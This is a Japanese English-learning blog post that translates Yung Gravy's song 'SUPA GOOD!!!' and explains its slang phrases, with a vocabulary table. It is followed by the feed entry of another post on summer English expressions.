<p><strong>WOW! I feel good!<br>Supa fly, supa good,<br>shoulda, coulda, knew I would<br>Super fly, super fresh,<br>Ask yo&#8217; mama, she&#8217;s impressed<br>Super fly, super cold,<br>Super mean, super nice,<br>Super clean<br>Yeah, you know it</strong></p>



<p>WOW！気分は最高だぜ！<br>最高にイカしてるぜ<br>ごちゃごちゃ言ったって<br>すげーイカしてるぜ<br>ママだってびっくりしてる<br>すげークールで、ヤバイくらいスイートだぜ<br>何もかもがスーパークールだせ<br>わかるだろ？</p>



<p><strong>So good!<br>Yeah, we&#8217;re always<br>(So good!)<br>Soooo good, baby<br>WOW! I feel good!<br>So good!</strong></p>



<p>気分は最高だぜ！<br>いつでも最高！<br>とびきり最高なんだ、ベイビー<br>WOW！気分は最高だ！</p>



<p><strong>I got you!</strong></p>



<p>任せとけ！</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:87px;height:auto"/></figure>



<h2 class="wp-block-heading">歌詞を掘り下げてみよう</h2>



<p>ラップには特有のスラングが多く登場します。上記はラップらしく聞こえるように意訳をしていますが、もっと深く歌詞を理解するために深掘りしてみましょう。</p>



<h4 class="wp-block-heading"><strong>Super fly</strong></h4>



<p><strong>【スラング】めちゃくちゃイケてる、最高にカッコいい</strong><br>1970年代にアフリカ系アメリカ人が使用していたスラングで、ファッションやノリが「<strong>超クール！</strong>」っていう褒め言葉です。1972年に<strong>カーティス・メイフィールド</strong>がリリースしたサウンドトラック 『<strong>Super Fly</strong>』で、ブラックミュージックやストリートカルチャーの象徴的な言葉になり、以後「<strong>スタイリッシュでヤバい</strong>」ことを表す定番フレーズに。日本ではシンガーソングライター<strong> Superfly</strong>（<strong>越智志帆</strong>さん） は、この言葉をアーティスト名に。「自由に羽ばたく」「カッコよくありたい」という思いからきているそうです。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">Supa fly, supa good, shoulda, coulda, knew I would</h4>



<p><strong>超イカすぜ、マジですげー　“やれたかも”じゃない、最初から“やる”と決めてた</strong></p>



<p>“<strong>super</strong>”を畳み掛ける<strong>アナフォラ（反復）</strong>＋ <strong>good / shoulda / coulda / would </strong>は母音の<strong>押韻</strong>。</p>



<p><strong>coulda：could have</strong> (～できたのに)<br><strong>woulda：would have </strong>(～しただろうに)<br><strong>shoulda：should have</strong> (～すべきだったのに)</p>



<p>後悔やたらればを言う時に使用されます。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">Super fly, super cold, super mean, super nice, super clean</h4>



<p><strong>超イカして、超クール、鬼ヤバ、でも優しさも満タン、仕上がりは超クリーン</strong></p>



<p><strong>cold：</strong>氷みたいにクール<br><strong>mean：</strong>容赦ない腕前の意<br><strong>nice：</strong>優しい<br><strong>clean：</strong>キメも見た目も無駄なし、音作りがクリーンの含意も。</p>



<p>合わせてすべてが超すげーという意味です。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">So locked in that the key gone</h4>



<p><strong>抜け出せないほどハマりまくってる</strong></p>



<p><strong>locked in</strong>：【スラング】めちゃくちゃ集中してる、完全に夢中になってる<br><strong>the key gone：</strong>鍵がなくなった＝抜け出せない</p>



<p>鍵を捨てるほど集中してる、抜け出せないくらい夢中、ゾーンに入りすぎて戻れない、という意味になります。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">Shake and bake, we takin&#8217; dubs</h4>



<p><strong>とっとと勝利をかっさらおう</strong></p>



<p><strong>Shake and bake：</strong>【スラング】素早く決めて勝つ、カッコよく決める。アメリカのバスケットボール用語。特定のプレーや何かすごいことを成し遂げるという意味で使用されます。スラングですが、中継などで使用されることも。</p>



<p><strong>shake：</strong>揺さぶる、フェイントをかける<br><strong>bake： </strong>火を入れる、焼く。この場合は、〜を仕留める、〜を抜き去る<br><br><strong>we takin&#8217; dubs</strong>：【スラング】勝ち続ける。Dubは勝利を意味するWinの「W」の発音に由来。俺たちは勝ちをかっさらう的な意味です。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">Bake the cake and I rake it up</h4>



<p>成果を生み出して、全部かき集める</p>



<p><strong>bake the cake：</strong>ケーキを焼く → 成功・成果を作り出す<br><strong>rake it up：</strong>かき集める（金や成果を大量に得る）</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">Make it rain, I share the love</h4>



<p><strong>金も愛も分けてやるぜ</strong></p>



<p><strong>make it rain：</strong>クラブなどで札束を空中にまく<br><strong>share the love：</strong>愛を分け合う</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">Gravy train, come say what&#8217;s up</h4>



<p><strong>楽勝で稼いでるから、気軽に声かけろ</strong></p>



<p><strong>gravy train：</strong>【スラング】労力や努力をほとんどせずに、楽して大金を稼ぐこと、あるいはその方法や機会を指す<br><strong>come say what&#8217;s up：</strong>挨拶に来い、声かけろ</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">Stay poppin&#8217; / The place hoppin&#8217;</h4>



<p><strong>俺たちの場はいつでもアツい、俺たちがこの場を盛り上げてる</strong></p>



<p><strong>stay poppin&#8217;：</strong>【スラング】輝き続ける、人気者でいる、常に話題の中心にいる<br><strong>The place hoppin&#8217;：</strong>会場が跳ねるように盛り上がってる。<br><strong>It ain&#8217;t stoppin&#8217;：</strong>止まらねぇ！</p>



<p>上記、3つの単語はわかりやすく綺麗にに<strong>oppin&#8217;</strong>という韻を踏んでいます。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">I got you!</h4>



<p><strong>任せとけ！</strong><br>任せろ、の他に、ノリ・グルーヴを掴んだ、ジェームス・ブラウンの原曲に呼応する締めのパンチラインを含む多義的な決め台詞。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:87px;height:auto"/></figure>


<table style="height: 260px; width: 100%; border-collapse: collapse; border-color: #f6c2cb; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-style: dotted; border-color: #f6c2cb; background-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>単語・イディオム</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>意味・解説</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>SUPA</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">super、すごい</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>yo&#8217;</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">yourの略</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be impressed</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に関心する、〜を印象付ける</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>FritoLay</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ポテトチップスの銘柄</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>rare</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">レアな、珍しい、生焼けの</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>t-bone steak</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ステーキの部位</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>lack</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜が不足する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>rake up</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜をかき集める</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>ain&#8217;t </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">【スラング】～でないという。am not, is not, are not, have not, has not の短縮形</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>crew</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">仲間、乗組員、メンバー</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>freestyle</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">フリースタイル、即興</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>y’all </strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">you allの略</td>
</tr>
</tbody>
</table>


<p></p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:310px;height:auto"/></figure>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&amp;linkname=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&amp;linkname=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&amp;linkname=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&amp;linkname=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&amp;linkname=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&amp;linkname=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&amp;linkname=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&amp;linkname=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F24%2Fyunggravy_supagood%2F&#038;title=%E3%83%A4%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B0%E3%83%AC%E3%82%A4%E3%83%B4%E3%82%A3%E3%83%BC%E3%80%8ESUPA%20GOOD%21%21%21%E3%80%8F%E3%80%80%E5%92%8C%E8%A8%B3" data-a2a-url="https://ffeng.jp/2025/08/24/yunggravy_supagood/" data-a2a-title="ヤング・グレイヴィー『SUPA GOOD!!!』　和訳"></a></p>The post <a href="https://ffeng.jp/2025/08/24/yunggravy_supagood/">ヤング・グレイヴィー『SUPA GOOD!!!』　和訳</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/' title='【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/08/20/summer-english-expressions/' title='【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/01/ren_ganbatte/' title='【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">4784</post-id>	</item>
		<item>
		<title>【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！</title>
		<link>https://ffeng.jp/2025/08/20/summer-english-expressions/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Tue, 19 Aug 2025 16:53:46 +0000</pubDate>
				<category><![CDATA[こんな時、どういうの？]]></category>
		<category><![CDATA[カルチャー]]></category>
		<category><![CDATA[ジャンル別]]></category>
		<category><![CDATA[スラング]]></category>
		<category><![CDATA[ホームステイ・留学英会話]]></category>
		<category><![CDATA[ボキャブラリー]]></category>
		<category><![CDATA[使える英会話・イディオム]]></category>
		<category><![CDATA[日常英会話]]></category>
		<category><![CDATA[日本文化を英語で伝えよう]]></category>
		<category><![CDATA[Baking hot]]></category>
		<category><![CDATA[beach opening day]]></category>
		<category><![CDATA[Blazing heat]]></category>
		<category><![CDATA[Blistering heat]]></category>
		<category><![CDATA[Boiling hot]]></category>
		<category><![CDATA[Brat summer]]></category>
		<category><![CDATA[Brutal heat]]></category>
		<category><![CDATA[Burning hot]]></category>
		<category><![CDATA[catch some rays]]></category>
		<category><![CDATA[Chillax]]></category>
		<category><![CDATA[Damp]]></category>
		<category><![CDATA[dehydration]]></category>
		<category><![CDATA[Dog days of summer]]></category>
		<category><![CDATA[Extreme heat]]></category>
		<category><![CDATA[extremely hot day]]></category>
		<category><![CDATA[Fierce heat]]></category>
		<category><![CDATA[fireworks festival]]></category>
		<category><![CDATA[flip flops]]></category>
		<category><![CDATA[get tanned]]></category>
		<category><![CDATA[Great Heat]]></category>
		<category><![CDATA[Headache]]></category>
		<category><![CDATA[heat stroke熱中症]]></category>
		<category><![CDATA[Heat wave]]></category>
		<category><![CDATA[hot]]></category>
		<category><![CDATA[Humid]]></category>
		<category><![CDATA[Humidity]]></category>
		<category><![CDATA[Intense heat]]></category>
		<category><![CDATA[It’s fricking hot]]></category>
		<category><![CDATA[Let’s hit the waves]]></category>
		<category><![CDATA[Life-threatening heat]]></category>
		<category><![CDATA[Lingering summer heat]]></category>
		<category><![CDATA[Melting hot]]></category>
		<category><![CDATA[Mid-summer day]]></category>
		<category><![CDATA[mosquito]]></category>
		<category><![CDATA[Muggy]]></category>
		<category><![CDATA[music festival]]></category>
		<category><![CDATA[Oppressive heat]]></category>
		<category><![CDATA[outdoor activity]]></category>
		<category><![CDATA[scorcher]]></category>
		<category><![CDATA[Scorching]]></category>
		<category><![CDATA[Scorching heat]]></category>
		<category><![CDATA[Severe heat]]></category>
		<category><![CDATA[shaved ice]]></category>
		<category><![CDATA[Sizzling hot]]></category>
		<category><![CDATA[SRSLY]]></category>
		<category><![CDATA[Stay beachy]]></category>
		<category><![CDATA[Stifling heat]]></category>
		<category><![CDATA[sultry night]]></category>
		<category><![CDATA[summer]]></category>
		<category><![CDATA[Summer day]]></category>
		<category><![CDATA[summer fatigue]]></category>
		<category><![CDATA[Summer festival]]></category>
		<category><![CDATA[Summer fling]]></category>
		<category><![CDATA[summer vacation]]></category>
		<category><![CDATA[Summer vibes]]></category>
		<category><![CDATA[sunstroke]]></category>
		<category><![CDATA[SURFING]]></category>
		<category><![CDATA[Sweltering night]]></category>
		<category><![CDATA[the Star Festival]]></category>
		<category><![CDATA[tropical night]]></category>
		<category><![CDATA[うだるように暑い]]></category>
		<category><![CDATA[かき氷]]></category>
		<category><![CDATA[じりじり焼けるほど暑い]]></category>
		<category><![CDATA[ひと夏の恋]]></category>
		<category><![CDATA[まったりくつろいでいる]]></category>
		<category><![CDATA[オシャレな感じの夏フレーズ]]></category>
		<category><![CDATA[カジュアルなフレーズ]]></category>
		<category><![CDATA[ガチで暑いぜ夏のイベント]]></category>
		<category><![CDATA[サーフィン]]></category>
		<category><![CDATA[ビーチサンダル]]></category>
		<category><![CDATA[フェス]]></category>
		<category><![CDATA[マジで]]></category>
		<category><![CDATA[七夕]]></category>
		<category><![CDATA[厳しい暑さ]]></category>
		<category><![CDATA[夏]]></category>
		<category><![CDATA[夏に関する英語表現]]></category>
		<category><![CDATA[夏の思い出]]></category>
		<category><![CDATA[夏の日常]]></category>
		<category><![CDATA[夏の雰囲気]]></category>
		<category><![CDATA[夏バテ]]></category>
		<category><![CDATA[夏休み]]></category>
		<category><![CDATA[夏日]]></category>
		<category><![CDATA[夏祭]]></category>
		<category><![CDATA[大暑]]></category>
		<category><![CDATA[息が詰まるような暑さ]]></category>
		<category><![CDATA[日射病]]></category>
		<category><![CDATA[日焼けする]]></category>
		<category><![CDATA[残暑]]></category>
		<category><![CDATA[海開き]]></category>
		<category><![CDATA[溶けるように暑い]]></category>
		<category><![CDATA[激しい暑さ]]></category>
		<category><![CDATA[灼熱]]></category>
		<category><![CDATA[焼けるように暑い]]></category>
		<category><![CDATA[焼け付くように暑い]]></category>
		<category><![CDATA[熱帯夜]]></category>
		<category><![CDATA[熱波]]></category>
		<category><![CDATA[猛暑]]></category>
		<category><![CDATA[猛暑日]]></category>
		<category><![CDATA[生命を脅かすような暑さ]]></category>
		<category><![CDATA[真夏日]]></category>
		<category><![CDATA[耐えられないほどの厳しい暑さ]]></category>
		<category><![CDATA[脱水症状]]></category>
		<category><![CDATA[花火大会]]></category>
		<category><![CDATA[蒸し暑い]]></category>
		<category><![CDATA[酷暑]]></category>
		<category><![CDATA[野外アクティビティ]]></category>
		<category><![CDATA[頭痛]]></category>
		<guid isPermaLink="false">https://ffeng.jp/?p=4481</guid>

					<description><![CDATA[<p>夏本番！暑い夏が続いていますが、ということで、今回 <a class="mh-excerpt-more" href="https://ffeng.jp/2025/08/20/summer-english-expressions/" title="【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！">[...]</a></p>
The post <a href="https://ffeng.jp/2025/08/20/summer-english-expressions/">【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/08/20/summer-english-expressions-2/' title='&#x1f31e; 夏の英語表現30選｜暑さ・花火・夏休みを英語で話そう！'>
